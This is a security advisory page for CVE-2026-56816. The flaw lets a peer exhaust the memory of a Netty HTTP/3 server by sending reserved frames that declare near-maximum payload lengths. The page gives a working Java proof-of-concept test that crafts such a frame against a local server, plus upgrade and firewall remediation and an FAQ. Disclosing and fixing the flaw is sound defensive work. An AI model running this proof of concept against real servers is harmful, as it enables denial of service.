CVE-2026-56816: Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

Published Jul 21, 2026
·
Updated

Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAXVALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAXVALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned();

QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();

CountDownLatch serverConnectionClosed = new CountDownLatch(1);

ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .initialMaxStreamDataBidirectionalRemote(1000000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build();

Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel();

QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();

ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build();

Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel();

QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get();

QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

ByteBuf header = Unpooled.buffer();

// Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40);

// Write payload length (Integer.MAXVALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF);

rawStream.write(header);

// Write the maximum allowed payload int payloadSize = 1000000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync();

assertTrue(quicChannel.isActive());

quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } }

Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Other sources

Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; decodeFrame trusts payLoadLength, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.

NVD

Affected Software

2 affected componentsFixes available
Netty Netty<4.2.16.Final
maven/io.netty:netty-codec-http3<4.2.16.Final
4.2.16.Final

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-http3 to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final
  2. Upgrade

    Upgrade io.netty:netty-http3 to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final
  3. Compensating control

    If upgrading to 4.2.16.Final is not immediately possible, use network-level controls to limit QUIC/HTTP/3 exposure (e.g., restrict inbound QUIC/UDP access to trusted clients/IPs via firewall/ACLs) to reduce the ability of a bad actor to open many streams and send reserved frame types with very large payload lengths.

Event History

Jul 21, 2026
CVE Published
via MITRE·09:56 PM
Data Sourced
via MITRE·09:56 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:17 PM
DescriptionSeverityWeakness
Jul 22, 2026
Advisory Published
via GitHub·09:42 PM
Data Sourced
via GitHub·09:42 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-56816?

CVE-2026-56816 has a severity rating of high, with a score of 7.5.

2

How do I fix CVE-2026-56816?

To mitigate CVE-2026-56816, update to the latest version of Netty where the issue is resolved.

3

What are the potential impacts of CVE-2026-56816?

CVE-2026-56816 can lead to memory exhaustion, causing denial of service attacks on affected systems.

4

Which versions of Netty are affected by CVE-2026-56816?

CVE-2026-56816 affects specific versions of the Netty library that handle HTTP/3 reserved frame types without proper validation.

5

What components of Netty are associated with CVE-2026-56816?

CVE-2026-56816 is primarily associated with the Http3FrameCodec component of the Netty library.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203